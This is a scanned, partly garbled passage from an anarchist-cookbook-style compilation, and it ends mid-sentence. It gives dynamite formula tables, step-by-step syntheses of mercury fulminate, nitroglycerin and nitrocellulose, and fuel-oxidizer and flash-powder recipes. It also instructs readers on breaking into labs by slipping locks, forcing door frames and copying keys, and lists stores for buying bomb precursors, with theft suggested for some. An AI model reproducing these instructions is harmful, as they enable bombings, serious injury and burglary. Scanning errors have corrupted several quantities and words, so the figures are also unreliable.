FORMULAiE ARE THE TRUE FORMULAE TO CREATE THESE MIXTURES AND ARE THEREFORE VERY DANGEROUS. USE AT YOUR OWN RISK!!! 

Guhr Dynamite: 

Ingredients 

• 1 part Kieselguhr 

• 3 parts Nitroglycerin 

Description 

This dynamite is primarily used in blasting. It is fairly stable, in the drop test, it exploded by the fall of a 1 kg weight through 12 to 15 cm., or by 
the fal! of a 2 kg weight through 7 cm. The frozen material is less sensitive: a drop of more than 20 cm. with a 1 kg weight is needed to explode 
it, and the 2 kg weight is necessary to explode it. Frozen or unfrozen, it can be detonated by shooting at it with a military rifle, when held in a 
paper cartridge. Generally, it is detonated with a steel-on-steel blow. Velocity of detonation vary from 6650 to 6800 meters per second at a 
density loading of 1 «0. 



Extra- Dynamite: 

FORMULA 1 

71% Nitroglycerin 
23% Ammonium Nitrate 
4% Collodion 
2% Charcoal 



FORMULA 2 

62% Ammonium Nitrate 
25% Nitroglycerin 
12% Charcoal 
1% Collodion 



Description: 

This material is crumbly and plastic between the fingers. This material can be detonated with any detonating cap. 
Table Of Dynamite Formulae: 



rJGREDIENr 



STRENGTH 





15% 


20% 


25% 


30% 


35% 


40% 


45% 


50% 


55% 


60% 


Nitroglycerin 


15% 


20% 


25% 


30% 


35% 


40% 


45% 


50% 


55% 


60% 


Combustible Material 


20% 


19% 


18% 


17% 


16% 


15% 


14% 


14% 


15% 


16% 


Sodium Nitrate 


64% 


60% 


56% 


52% 


48% 


44% 


40% 


35% 


29% 


23% 


Calcium or Magnesium Carbonate 


1% 


1% 


1% 


1% 


1% 


1% 


1% 


1% 


1% 


1% 


Table Of More Dynamite Formulae: 




















MGREnENT 


STRENGTH 




















ORDINARY 








LOW FREEZING 










30% 


35% 


40% 


50% 


60% 


30% 


35% 


40% 


50% 


60% 


Nitroglycerin 


15% 


20% 


22% 


27% 


35% 


13% 


17% 


17% 


21% 


27% 


Nitrosubstitution Compounds 


0% 


0% 


0% 


0% 


0% 


3% 


4% 


4% 


5% 


6% 


Ammonium Nitrate 


15% 


15% 


20% 


25% 


30% 


15% 


15% 


20% 


25% 


30% 


Sodium Nitrate 


51% 


48% 


42% 


36% 


24% 


53% 


49% 


45% 


36% 


27% 


Combustible Material 


18% 


16% 


15% 


11% 


10% 


15% 


14% 


13% 


12% 


9% 



Calcium Carbonate or Zinc Oxide 


1% 


1% 


> 


1% 


1% 


1% 




1% 


1% 


1% 


1% 


1% 


Master Table Of Dynamites: 


























MGREnENT 


FORMULA 
























1 


2 


3 


4 


5 


6 


7 


8 


9 


10 


11 


12 


Ammonium Nitrate 


52 


53 


60 


61 


66 


73 


78 


83 


0 


0 


0 


0 


Potassium Nitrate 


21 


0 


0 


0 


0 


2.8 


5 


7 


30 « 


34 


0 


0 


Sodium Nitrate 


0 


12 


c 
O 


Q 
O 


U 


U 


U 


U 


U 


U 




OA « 


DCUIUIII INIUCtLC 


0 


0 


n 


n 

u 


n 

u 


n 


n 

u 


2 


4 


■| 


n 

KJ 


n 


Na or r\ oniorioe 


U 


u 


21 


20" 


22 


15 


8 


0 


0 


0 


0 


0 


Hyd Ammonium Oxalate 


16 


19 


0 


0 


0 


0 


0 


0 


0 


0 


0 


0 


Ammo nium Chloride 


6 


0 


0 


0 


0 


0 


0 


0 


0 


0 


0 


0 


Cereal or Wood Meal 


0 


4 


4 


7« 


2 


1 


5 


2 


0 


38« 


39« 


40 « 


Glycerin 


0 


0 


0 


4 


0 


0 


0 


0 


0 


0 


0 


0 


Spent Tan Bark Meal 


0 


0 


0 


0 


0 


0 


0 


0 


40 


1 


0 


0 


Potassium Dichromate 


0 


0 


0 


0 


0 


0 


0 


0 


0 


0 


5 


5 


Sodium Cartx3nate 


0 


0 


0 


0 


0 


0 


0 


0 


« 


« 


0 


0 


Powdered Coal 


0 


0 


0 


0 


4 


0 


0 


0 


0 


0 


0 


0 


Nitrotoluene 


0 


0 


6 


1 


0 


0 


0 


0 


0 


0 


0 


0 


Dinitrotoluene 


0 


0 


0 


0 


0 


5 


0 


0 


0 


0 


0 


0 


Trinitrotoluene 


0 


6 


0 


0 


0 


0 


0 


2 


0 


0 


0 


0 


Nitroglycerin 


5 


5 


4 


4 


4 


3.2 


4 


4 


25 


25 


25 


30 



All measurements in percents 



Well, that's it for now... havefun.... hehehehehel USE AT YOUR OWN RISKIII! 



184.ANARCHY 'N' EXPLOSIVES - VOLUME 5 by Exodus 

Well, hasn't it been long since Volume 4 of Anarchy 'n' Explosives? Well, I finally got around to typing up another volume. This one will be 
dedicated to the extremely simple and more accessible explosives and incendiaries to be prepared at home, or laboratory; depending upon the 
environment you have access to or are accustomed to. 

For further information and/or comments on this series of ever popular explosives, contact me (I don't sign these "publications") on the 
Knavery BBS at xxx-xxx-xxxx on the public message base, I should be reading some requests if you leave them. And, volume number 6 
should be coming out sooner than the time between 4 and 5, but don't count on it. 

BULK POWDERS: 

Bulk powders are types of gunpowder consisting of nitrocellulose and a mixture of other chemically explosive solutions. These nitrocellulose 
fibers are stuck together, but are not completely collided. Some contain little else but nitrocellulose; others contain, in addition to potassium and 
barium nitrates, camphor, vaseline, paraffin, lampblack, starch, dextrin, potassium dichromate or other oxidizing or deterrent salts, and 
diphenylamine for stabilization, and are colored in a variety of brilliant hues by means of collar dyes. Three typical bulk powders are made up 
according to the approximate formulas tabulated below: 



Nitrocellulose 


84.0 


87.0 


89.0 


% N in nitrocellulose 


13.2 


12.9 


12.9 


Potassium nitrate 


7« 


6.0 


6.0 


Barium nitrate 


7« 


2.0 


3.0 


Starch 


0.0 


0.0 


1.0 


Paraffin oil 


0.0 


4.0 


0.0 


Diphenylamine 


1.0 


1.0 


1.0 



The mixture is mixed in warm water and dried thoroughly. Then either granulated or made into powder by crushing with a wooden block and 
screened through a 12-mesh sieve. The material is then stored in a moisture- resistant container for future or immediate use. 

MERCURY FULMINATE: 

Mercury fulminate is an initiating explosive, commonly appearing as white or gray crystals. It is extremely sensitive to initiation by heat, friction, 
spark or flame, and impact. It detonates when initiated by any of these means. It is pressed into containers, usually at 3000 psi, for use in 
detonators and blasting caps. However, when compressed at greater and greater pressure (up to 30,000 psi), it becomes "dead pressed." In 
this condition, it can only be detonated by another initial detonating agent. Mercury fulminate gradually becomes inert when stored continuously 



above 1 0Oif. A dark colored product of deterioration gives evidence of this effect. Mercury exfulminate is stored undenwater except when 
there is danger of freezing. Then it is stored under a mixture of water and alcohol. 

Preparation of Mercury Fulminate. Five grams of mercury is added Ext 55 cc. of nitric acid (specific gravity 1 .42) in a 100-cc. Erienmeyer flask, 
and the mixture is allowed to stand without shaking until the mercury has gone into solution. The acid liquid is then poured into 50 cc. of 90% 
alcohol in a 500-cc. beaker in the hood. The temperature of the mixture rises, a vigorous reaction commences, white fumes come off, and 
cdata bstals of fulminate soon begin to precipitate. Red fumes appear and the precipitation of the fulminate becomes more rapid, then white 
fumes again as the reaction moderates. After about 20 minutes, the reaction is over; water is added, and the cdata bstals are washed with 
water repeatedly by decantation until the washings are no longer acid to litmus. The product consists of grayish-yellow ccfata bstals, and 
corresponds to a good grade of commercial fulminate. It may be obtained white and entirely pure by dissolving in strong ammonia water, 
filtering, and reprecipitating by the addition of 30% acetic acid. The pure fulminate is filtered off, washed several times with cold water, and 
stored under water, or, if a very small amount is desired for experimental purposes, it is dried in a desiccator. 

AMATOL: 

Description: amatol is a high explosive, white to buff in color. It is a mixture of ammonium nitrate and TNT, with a relative effectiveness slightly 
higher than that of TNT alone. Common compositions vary from 80% ammonium nitrate and 20% TNT to 40% ammonium nitrate and 60% TNT. 
Amatol is used as the main bursting charge in artillery shells and bombs. Amatol absorbs moisture and can form dangerous compounds with 
copper and brass. Therefore, it should not be housed in containers of such metals. 

BLACK POWDERS: 

Black powders burn either quickly or very slowly depending on the composition of such a mixture; however, these powders produce smoke, 
often great amounts, and is most useful in applications where smoke is no object. It is the best for communicating fire and for producing a 
quick, hot flame. Black powder is used in both propellant charges for shrapnel shells, in saluting and blank fire charges, as the bursting charge 
of practice shells and bombs, as a propelling charge in certain pyrotechnic pieces, and, either with or without the admixture of other 
substances which modify the rate of burning, in the time -train rings and in other parts of fuses. Below is a list of black powders and their 
compositions. 



Name 


Saltpeter 


(Brown) Charcoal 


Sulfur 


England 


79 


(18) 


3 


England 


77.4 


(17.6) 


5 


Germany 


78 


(19) 


3 


Germany 


80 


(20) 


0 


France 


78 


(19) 


3 


Forte 


72 


15 


13 


Lente 


40 


30 


30 


Ordinaire 


62 


18 


20 



185. Explosives and Propellants by Exodus 

Almost any city or town of reasonable size has a gun store and one or more pharmacies. These are two of the places that potential terrorists 
visit in order to purchase explosive material. All that one has to do is know something about the non- explosive uses of the materials. Black 
powder, for example, is used in blackpowder firearms. It comes in varying "grades", with each different grade being a slightly different size. 
The grade of black powder depends on what the caliber of the gun that it is used in; a fine grade of powder could burn too fast in the wrong 
caliber weapon. The rule is: the smaller the grade, the faster the burn rate of the powder. 



BLACKPOWDER 

Black powder is generally available in three grades. As stated before, the smaller the grade, the faster the powder burns. Burn rate is 
extremely important in bombs. Since an explosion is a rapid increase of gas volume in a confined environment, to make an explosion, a quick- 
burning powder is desirable. The three common grades of black powder are listed below, along with the usual bore width (caliber) of what 
they are used in. Generally, the fastest burning powder, the FFF grade is desirable. However, the other grades and uses are listed below: 



GRADE BORE WIDTH EXAMPLE OF GUN 

F «0 or Greater Model Gannon; some Rifles 

FF .36 - «0 Large Pistols; Small Rifles 

FFF .36 or Smaller Pistols; Derringers 



The FFF grade is the fastest burning, because the smaller grade has more surface area or burning surface exposed to the flame front. The 
larger grades also have uses which will be discussed later. The price range of black powder, per pound, is about $8«0 - $9.00. The price is 
not affected by the grade, and so one saves oneself time and work if one buys the finer grade of powder. The major problems with black 
powder are that it can be ignited accidentally by static electricity, and that it has a tendency to absorb moisture from the air. To safely crush it. 



a one would use a plastic spoon and a wooden salad bowl. Taking a small pile at a time, he or she would apply pressure to the powder 
through the spoon and rub it in a series of strokes or circles, but not too hard. It is fine enough to use when it is about as fine as flour. The 
fineness, however, is dependent on what type of device one wishes to make; obviously, it would be impractical to crush enough powder to fill 
a 1 foot by 4 inch radius pipe. Any adult can purchase black powder, since anyone can own black powder firearms in the United States. 



Pyrodex is a synthetic powder that is used like black powder. It comes in the same grades, but it is more expensive per pound. However, a 
one pound container of pyrodex contains more material by volume than a pound of black powder. It is much easier to crush to a very fine 
powder than black powder, and it is considerably safer and more reliable. This is because it will not be set off by static electricity, as black can 
be, and it is less inclined to absorb moisture. It costs about $1 0.00 per pound. It can be crushed in the same manner as black powder, or it can 
be dissolved in boiling water and dried. 



ROCKET ENGINE POWDER 

One of the most exciting hobbies nowadays is model rocketry. Estes is the largest producer of model rocket kits and engines. Rocket engines 
are composed of a single large grain of propellant. This grain is surrounded by a fairly heavy cardboard tubing. One gets the propellant by 
slitting the tube length- wise, and unwrapping it like a paper towel roll. When this Is done, the gray fire clay at either end of the propellant grain 
must be removed. This is usually done gently with a plastic or brass knife. The material is exceptionally hard, and must be crushed to be used. 
By gripping the grain in the widest setting on a set of pliers, and putting the grain and powder in a plastic bag, the powder will not break apart 
and shatter all over. This should be done to all the large chunks of powder, and then it should be crushed like black powder. Rocket engines 
come in various sizes, ranging from 1/4 A-2T to the incredibly powerful D engines. The larger the engine, the more expensive. D engines come 
in packages of three, and cost about $5.00 per package. Rocket engines are perhaps the single most useful item sold in stores to a terrorist, 
since they can be used as is, or can be cannibalized for their explosive powder. 



RIFLE/SHOTGUN POWDER 

Rifle powder and shotgun powder are really the same from a practical standpoint. They are both nitrocellulose based propellants. They will be 
referred to as gunpowder in all future references. Smokeless gunpowder is made by the action of concentrated nitric and sulfuric acid upon 
cotton or some other cellulose material. Tiis material is then dissolved by solvents and then reformed in the desired grain size. When dealing 
with smokeless gunpowder, the grain size is not nearly as important as that of black powder. Both large and small grained smokeless powder 
burn fairly slowly compared to black powder when unconfined, but when it is confined, gunpowder burns both hotter and with more gaseous 
expansion, producing more pressure. Therefore, the grinding process that is often necessary for other propellants is not necessary for 
smokeless powder. Powder costs about $9.00 per pound. In most states any citizen with a valid driver's license can buy it, since there are 
currently few restrictions on rifles or shotguns in the US There are now ID checks in many states when purchasing powder at a retail outlet. 
Mail-orders aren't subject to such checks. Rifle powder and pyrodex may be purchased by mail order, but UPS charges will be high, due to 
DOT regulations on packaging. 



186.Lockpickinq III by Exodus 

If it becomes necessary to pick a lock to enter a lab, the world's most effective lockpick is dynamite, followed by a sledgehammer. There are 
unfortunately, problems with noise and excess structural damage with these methods. The next best thing, however, is a set of professional 
lockpicks. 

These, unfortunately, are difficult to acquire. If the door to a lab is locked, but the deadbolt is not engaged, then there are other possibilities. The 

rule here is: if one can see the latch, one can open the door. There are several devices which facilitate freeing the latch from its hole in the 
wall. Dental tools, stiff wire ( 20 gauge ), specially bent aluminum from cans, thin pocket knives, and credit cards are the tools of the trade. The 
way that all these tools and devices are uses is similar: pull, push, or otherwise move the latch out of its recess in the wall, thus allowing the 
door to open. This is done by sliding whatever tool that you are using behind the latch, and forcing the latch back into the door. 

Most modern doorknob locks have two fingers. The larger finger holds the door closed while the second (smaller) finger only prevents the first 
finger from being pressed in when it (the second finger) is pressed in by the catchplate of the door. If you can separate the catch plate and 
the lock sufficiently far, the second finger will slip out enough to permit the first finger to be slipped. 



PYRODEX 



(III. 2.11) 

I } < 




Some methods for getting through locked doors are: 



I .Another method of forced entry is to use an automobile jacl< to force the frame around the door out of shape, freeing the latch or exposing it 

to the above methods. This is possible because most door frames are designed with a slight amount of "give". Simply put the jack into 
position horizontally across the frame in the vicinity of the latch, and jack it out. If the frame is wood it may be possible to remove the jack 
after shutting the door, which will relock the door and leave few signs of forced entry. This technique will not work in concrete block 
buildings, and it's difficult to justify an auto jack to the security guards. 

2. Use a screwdriver or two to pry the lock and door apart. While holding them apart, try to slip the lock. Screwdrivers, while not entirely 

innocent, are much more subtle than auto jacks, and much faster if they work. If you're into unsubtle, I suppose a crowbar would work 
too, but then why bother to slip the lock at all? 

3. Find a set of double doors. They are particularly easy to pry apart far enough to slip. 

4.lf the lock is occasionally accessible to you while open, "adjust" or replace the catchplate to make it operate more suitably (i.e., work so that it 
lets both fingers out, so that it can always be slipped). If you want, disassembling the lock and removing some of the pins can make it 
much easier to pick. 

5.lf, for some odd reason, the hinges are on your side (i.e., the door opens outward), remove the hinge pins, provided they aren't stopped with 

welded tabs. Unfortunately, this too lacks subtlety, in spite of its effectiveness. 
6.lf the door cannot be slipped and you will want to get through regularly, break the mechanism. Use of sufficient force to make the first finger 
retreat while the second finger is retreated will break some locks (e.g.. Best locks) in such a way that they may thereafter be slipped 
trivially, yet othenwise work in all normal ways. Use of a hammer and/or screwdriver is recommended. Some care should be used not to 
damage the door jamb when attempting this on closed and locked doors, so as not to attract the attention of the users or owners or 
locksmith or police exc. 

7.Look around in desks. People very often leave keys to sensitive things in them or other obvious places. Especially keys to shared critical 
resources, like supply rooms, that are typically key -limited but that everyone needs access to. Take measurements with a micrometer, or 
make a tracing (lay key under paper and scribble on top), or be dull and make a wax impression. Get blanks for the key type (can be very 
difficult for better locks; I won't go into methods, other than to say that if you can get other keys made from the same blank, you can often 
work wonders with a little ingenuity) and use a file to reproduce the key. Using a micrometer works best: keys made from mic 
measurements are more likely to work consistently than keys made by any other method. If you us tracings, it is likely to take many tries 
before you obtain a key that works reliably. Also, if you can 'borrow' the cylinder and disassemble it, pin levels can be obtained and keys 
constructed. 

S.Simple locks, like desks, can be picked fairly easily. Many desks have simple three or four pin locks of only a few levels, and can be 
consistently picked by a patient person in a few minutes. A small screwdriver and a paper clip will work wonders in practiced hands. 
Apply a slight torque to the lock in the direction of opening with the screwdriver. Then 'rake' the pins with the unfolded paper clip. With 
practice, you'll apply enough pressure with the screwdriver that the pins will align properly (they'll catch on the cylinder somewhere 
between the top and bottom of their normal travel), and once they're all lined up, additional pressure on the screwdriver will then open the 
lock. This, in conjunction with (7) can be very effective. This works better with older or sloppily machined locks that have a fair amount of 
play in the cylinder. Even older quality locks can be picked in this manner, if their cylinders have been worn enough to give enough play to 
allow pins to catch reliably. Even with a well worn quality lock, though, it generally takes a *lot* of patience. 

Q.Custodial services often open up everything in sight and then take breaks. Make the most of your opportunities. 

10.No matter what you're doing, look like you belong there. Nothing makes anyone more suspicious than someone skulking about, obviously 
trying to look inconspicuous. If there are several of you, have some innocuous and normal seeming warning method ("Hey, dummy! What 
time is it?") so that they can get anything suspicious put away. Don't travel in large groups at SAM. Remember, more than one car thief 
has managed to enlist a cop's aid in breaking into a car. Remember this. Security people usually *like* to help people. Don't make them 
suspicious or annoy them. If you do run into security people, try to make sure that there won't be any theft or break-ins reported there the 
next day... 

I I .Consider the possibilities of master keys. Often, every lock in a building or department will have a common master (building entrance keys 

are a common exception). Take apart some locks from different places that should have common masters, measure the different pin 
lengths in each, and find lengths in common. Experiment. Then get into those places you're *really* curious about. 
12. Control keys are fun, too. These keys allow the user to remove the lock's core, and are generally masters. (A pair of needle nose pliers or 
similar tool can then be used to open the lock, if desired.) 

SUPPING A LOCK 

The best material we've found for slips so far is soft sheet copper. It is quite flexible, so it can be worked into jambs easily, and can be pre- 
bent as needed. In the plane of the sheet, however, it is fairly strong, and pulls nicely. Of course, if they're flexible enough, credit cards, 
student Ids, etc., work just fine on locks that have been made slippable if the door jamb is wide enough. Wonderfully subtle, quick, and 
delightfully effective. Don't leave home without one. 

(Ill.#1) 

The sheet should then be folded to produce an L, J, or U shaped device that looks like this: 



/_ 



L-shaped 



u 

(III. #2) 
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We hasten to add here that ma ny or most colleges and universities have very strict policies about unauthorized possession of keys. At most, it 
is at least grounds for expulsion, even without filing criminal charges. Don't get caught with keys!!! The homemade ones are particularly 
obvious, as they don't have the usual stamps and marks that the locksmiths put on to name and number the keys.] 

We should also point out that if you make a nuisance of yourself, there are various nasty things that can be done to catch you and/or slow you 
down. For instance, by putting special pin mechanisms in, locks can be made to trap any key used to open them. If you lose one this way, 
what can I say? At least don't leave fingerprints on it. Or make sure they're someone else's. Too much mischief can also tempt the powers that 
be to rekey. 



187.Chemical Equivalent List II by Exodus 

Anyone can get many chemicals from hardware stores, supermarkets, and drug stores to get the materials to make explosives or other 
dangerous compounds. A would-be terrorist would merely need a station wagon and some money to acquire many of the chemicals named 
here. 



Chemical 


Used In 


Available at 


Alcohol, Ethyl 


Alcoholic Beverages 


Liquor Stores 




Solvents: 95% min for both 


Hardware Stores 


Ammonia 


CLEAR Household Ammonia 


Supermarkets or 7 -Eleven 


Ammonium Nirate 


Instant- Cold Paks 


Drug Stores 




Fertilizers 


Medical Supply Stores 


Nitrous Oxide 


Pressurizing Whip Cream 


Party Supply Stores 




Poppers (like CO/ ctgs.) 


Head Shops 


Magnesium 


Firestarters 


Surplus or Camping Stores 


Lecithin 


Vitamins 


Pharmacies or Drug Stores 


Mineral Oil 


Cooking, Laxative 


Supermarket or Drug Stores 


Mercury 


Mercury Thermometers 


Supermarkets 






Hardware Stores 


Sulfuric Acid 


Uncharged Car Batteries 


Automotive Stores 


Glycerine 




Pharmacies or Drug Stores 


Sulfur 


Gardening 


Garden or Hardware Store 


Charcoal 


Charcoal Grills 


Supermarkets 






Gardening Stores 


Sodium Nitrate 


Fertilizer 


Gardening Stores 


Cellulose (Cotton) 


First Aid 


Drug Stores 






Medical Supply Stores 


Strontium Nitrate 


Road Flares 


Surplus or Auto Stores 


Fuel Oil 


Kerosene Stoves 


Surplus or Camping Stores 


Bottled Gas 


Propane Stoves 


Surplus Camping Stores 


Potassium Permanganate 


Water Purification 


Purification Plants 


Hexamine or Methenamine 


Hexamine Stoves 


Surplus or Camping Stores 



Iodine + 

Sodium Perchlorate 



Nitric Acid * 



Cleaning Printing 
Plates 

Disinfectant (tinture) 

Solidox Pellets 

Cutting Torches (IMPURE) 



Printing Shops 
Photography Stores 
Pharmacy, OSCO 
Hardware Stores 



* Nitric acid is very difficult b find nowadays. It is usually stolen by bomb makers, or made by the process described in a later section. A 
desired concentration for making explosives about 70%. 

+ The iodine sold in drug stores is usually not the pure crystalline form that is desired for producing ammonium triiodide crystals. To obtain the 
pure form, it must usually be acquired by a doctor's prescription, but this can be expensive. Once again, theft is the means that terrorists 
result to. 



188.Nitroalvcerin II by Exodus 

Nitroglycerin is one of the most sensitive explosives, if it is not the most sensitive. Although it is possible to make it safely, it is difficult. Many a 
young anarchist has been killed or seriously injured while trying to make the stuff. When Nobel's factories make it, many people were killed by 
the all-to-frequent factory explosions. Usually, as soon as it is made, it is converted into a safer substance, such as dynamite. An idiot who 
attempts to make nitroglycerin wo Jd use the following procedure: 

MATERIAL: 

• Distilled Water 

• Table Salt 

• Sodium Bicarbonate 

• Concentrated Nitric Acid (1 3 mL) 

• Concentrated Sulfuric Acid (39 mL) 

• Glycerin 

EQUIPMBSTT: 

• Eye- Dropper 

• 100 mL Beaker 

• 200-300 mL Beakers (2) 

• Ice Bath Container (A plastic bucket serves well) 

• Centigrade Thermometer 

• Blue Litmus Paper 

1 .Place 1 50 mL of distilled water into one of the 200-300 mL beakers. 

2.ln the other 200-300 mL beaker, place 1 50 mL of distilled water and about a spoonful of sodium bicarbonate, and stir them until the sodium 
bicarbonate dissolves. Do not put so much sodium bicarbonate in the water so that some remains undissolved. 

S.Create an ice bath by half filling the ice bath container with ice, and adding table salt. This will cause the ice to melt, lowering the overall 
temperature. 

4. Place the 100 mL beaker into the ice bath, and pour the 13 mL of concentrated nitric acid into the 100 mL beaker. Be sure that the beaker will 

not spill into the ice bath, and that the ice bath will not overflow into the beaker when more materials are added to it. Be sure to have a 

large enough ice bath container to add more ice. Bring the temperature of the acid down to about 2O0C or iess. 

5. When the nitric acid is as cold as stated above, slowly and carefully add the 39 mL of concentrated sulfuric acid to the nitric acid. Mix the 

two acids together, and cool the mixed acids to 1 0cC. It is a good idea to start another ice bath to do this. 
e.With the eyedropper, slowly put the glycerin into the mixed acids, one drop at a time. Hold the thermometer along the top of the mixture 
where the mixed acids and glycerin meet. 



7.The glycerin will start to nitrate immediately, and the temperature will immediately begin to rise. Add glycerin until there is a thin layer of 

glycerin on top of the mixed acids. It is always safest to make any explosive in small quantities. 
S.Stir the mixed acids and glycerin for the first ten minutes of nitration, adding ice and salt to the ice bath to keep the temperature of the solution 

in the 100 mL beaker well below 30cC. Usually, the nitroglycerin will form on the top of the mixed acid solution, and the concentrated 

sulfuric acid will absorb the water produced by the reaction. 
G.When the reaction is over, and when the nitroglycerin is well below 30cC, slowly and carefully pour the solution of nitroglycerin and mixed 

acid into the distilled water in the beaker in step 1 . The nitroglycerin should settle to the bottom of the beaker, and the water-acid solution 

on top can be poured off and disposed of. Drain as much of the acid- water solution as possible without disturbing the nitroglycerin. 
10. Carefully remove the nitroglycerin with a clean eyedropper, and place it into the beaker in step 2. The sodium bicarbonate solution will 

eliminate much of the acid, which will make the nitroglycerin more stable, and less likely to explode for no reason, which it can do. Test the 

nitroglycerin with the litmus paper until the litmus stays blue. Repeat this step if necessary, and use new sodium bicarbonate solutions as 

in step 2. 



DO NOT ALLOW THE TEMPERATURE TO GET ABOVE SOoCENmGRADE 
IF THE TEMPERATURE RISES ABOVE THIS TEMPERATURE WATCH OUT I! 



1 1 .When the nitroglycerin is as acid-free as possible, store it in a clean container in a safe place. The best place to store nitroglycerin is far 
away from anything living, or from anything of any value. Nitroglycerin can explode for no apparent reason, even if it is stored in a secure 
cool place. 



189.Cellulose Nitrate by Exodus 

I used to make nitrocellulose, though. It was not guncotton grade, because I didn't have petroleum (H2S04 with dissolved SOS); nevertheless it 
worked. At first I got my H2S04 from a little shop in downtown Philadelphia, which sold soda-acid fire extinguisher refills. Not only was the 
acid concentrated, cheap and plentiful, it came with enough carbonate to clean up. I'd add KN03 and a little water (OK, I'd add the acid to the 
water - but there was so little water, what was added to what made little dfference. It spattered concentrated H2S04 either way). Later on, 
when I could purchase the acids, I believe I used 3 parts H2S04 to 1 part HN03. For cotton, I'd use cotton wool or cotton cloth. 

Runaway nitration was commonplace, but it is usually not so disastrous with nitrocellulose as it is with nitroglycerin. For some reason, I tried 
washing the cotton cloth in a solution of lye, and rinsing it well in distilled water. I let the cloth dry and then nitrated it. (Did I read this 
somewhere?) When that product was nitrated, I never got a runaway reaction. By the way, water quenched the runaway reaction of 
cellulose. 

The product was washed thoroughly and allowed to dry. It dissolved (or turned into mush) in acetone. It dissolved in alcohol/ether. 

WARNINGS 

All usual warnings regarding strong acids apply. H2S04 likes to spatter. When it falls on the skin, it destroys tissue - often painfully. It 
dissolves all manner of clothing. Nitric also destroys skin, turning it bright yellow in the process. Nitric is an oxidant - it can start fires. Both 
agents will happily blind you if you get them in your eyes. Other warnings also apply. Not for the novice. 

Nitrocellulose decomposes very slowly on storage if it isn't stabilized. The decomposition is autocatalyzing, and can result in spontaneous 
explosion if the material is kept confined over time. The process is much faster if the material is not washed well enough. Nitrocellulose 
powders contain stabilizers such as diphenyl amine or ethyl centralite. DO NOT ALLOW THESETOCXDME INTO CONTACT WTTH NITRIC ACID!!!! 
A small amount of either substance will capture the small amounts of nitrogen oxides that result from decomposition. They therefore inhibit the 
autocatalysis. NO eventually will decompose in any case. 

Again, this is inherently dangerous and illegal in certain areas. I got away with it. You may kill yourself and others if you try it. 
Commercially produced Nitrocellulose is stabilized by: 

1 .Spinning it in a large centrifuge to remove the remaining acid, which is recycled. 

2. Immersion in a large quantity of fresh water. 

3. Boiling it in acidulated water and washing it thoroughly with fresh water. 

If the NC is to be used as smokeless powder it is boiled in a soda solution, then rinsed in fresh water. 

The purer the acid used (lower water content) the more complete the nitration will be, and the more powerful the nitrocellulose produced. 

There are actually three forms of cellulose nitrate, only one of which is useful for pyrotechnic purposes. The mononitrate and dinitrate are not 
explosive, and are produced by incomplete nitration. If nitration is allowed to proceed to complete the explosive trinatrate is formed. 

(III. 3.22.2) 
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190.Starter Explosives 



by Exodus 



There are nearly an infinite number of fuel-oxidizer mixtures tfiat can be produced by a misguided individual in his own home. Some are very 
effective and dangerous, while others are safer and less effective. A list of wor1<ing fuel - oxidizer mixtures will be presented, but the exact 
measurements of each compound are debatable for maximum effectiveness. A rough estimate will be given of the percentages of each fuel 
and oxidizer: 



Oxidizer 



% by weight 



Fuel 



% by weiglit Speed Notes 



Potassium Chlorate 
Potassium Chlorate 
Potassium Chlorate 

Potassium Chlorate 

Sodium Nitrate 

Potassium Permanganate 
Potassium Permanganate 
Potassium Permanganate 

Potassium Permanganate 
Potassium Nitrate 

Potassium Nitrate 

Potassium Chlorate 
strike-anywhere matches 
Ammonium Perchlorate 

Potassium Perchlorate 
(Sodium Perchlorate) 
Potassium Perchlorate 
(Sodium Perchlorate) 

Barium Nitrate 

Barium Peroxide 

Potassium Perchlorate 

Potassium Chlorate 

Potassium Permanganate 

Potassium Chlorate 



67% Sulfur 



33% 



50% Sugar 35% 

Charcoal 15% 

50% Sulfur 25% 

Magnesium or 25% 

Aluminum Dust 25% 

67% Magnesium 33% 

Aluminum Dust 33% 

65% Magnesium Dust 30% 

Sulfur 5% 

60% Glycerin 40% 

67% Sulfur 33% 

60% Sulfur 20% 

Magnesium or 20% 

Aluminum Dust 20% 

50% Sugar 50% 

75% Charcoal 1 5% 

Sulfur 10% 

60% Powdered Iron or 40% 

Magnesium 40% 

75% Phosphorus Sesquisulfide 

70% Aluminum Dust 30% 
Small amount of Iron Oxide 

67% Magnesium or 33% 

Aluminum Dust 33% 

60% Magnesium or 20% 

Aluminum Dust 20% 

Sulfur 20% 

30% Aluminum Dust 30% 
Potassium Perchlorate 30% 

90% Magnesium Dust 5% 

Aluminum Dust 5% 

50% Sulfur 25% 

Magnesium or 25% 

Aluminum Dust 25% 

67% Red Phosphorus 27% 

Calcium Cartjonate 3% 

Sulfur 3% 

50% powdered sugar 25% 

Aluminum or 25% 

Magnesium Dust 25% 

75% Charcoal Dust 15% 

Sulfur 10% 



5 Friction or Impact 
Sensitive & Unstable 

5 Fairly Slow Burning 
Unstable 

8 Extremely Unstable! 



Unstable 
Unpredictable 

Delay Before Ignition depends upon Grain Size 

Unstable 

Unstable 



3 ? 

7 This is Black Powder! 
1 Burns Very Hot 
25% 8 

6 Solid Fuel for Space Shuttle 
10 Flash Powder 

8 Alternate 
Flash Powder 

9 Alternate 
Flash Powder 

1 0 Alternate 
Flash Powder 

8 Slightly Unstable 

7 Very Unstable Impact Sensitive 



7 Unstable 

Ignites if it gets wet! 

6 Unstable 



Used to make 



WAFiNING: POTASSIUM PERMANGANATE IGNFTES SPONfTANEOUSLY WfTH GLYCERIN!!! 



NOTE: Mixtures that uses substitutions of sodium perchlorate for potassium perchlorate become moisture-absorbent and less stable. 

The higher the speed number, the faster the fuel-oxidizer mixture burns AFTER ignition. Also, as a rule, the finer the powder, the faster the rate 
of burning. 



As one can easily see, there is a wide variety of fuel-oxidizer mixtures that can be made at home. By altering the amounts of fuel and 
oxidizer(s), different burn rates can be achieved, but this also can change the sensitivity of the mixture. 



191 -Flash Powder 



By Dr. Tiel 



Here are a few basic precautions to take if you're crazy enougfi to produce your own flashi powder: 

1 .Grind the oxidizer (KN03, KCI03, KlVlnOt, KCIOt etc.) separately in a clean vessel. 

2. NEVER grind or sift the mixed composition. 

3. Mix the composition on a large paper sheet, by rolling the composition back and forth. 

4. Do not store flash compositions, especially any containing Mg. 

5. Make very small quantities at first, so you can appreciate the power of such mixtures. 

KN03 50% (by weight) 
Mg 50% 

It is very important to have the KN03 very dry, if evolution of ammonia is observed then the KN03 has water in it. Very pure and dry KN03 is 
needed. KCI03 with Mg or Al metal powders works very well. Many hands, faces and lives have been lost with such compositions. KMn04 
with Mg or Al is also an extremely powerful flash composition. KCI04 with Al is generally found in commercial fireworks, this does not mean 
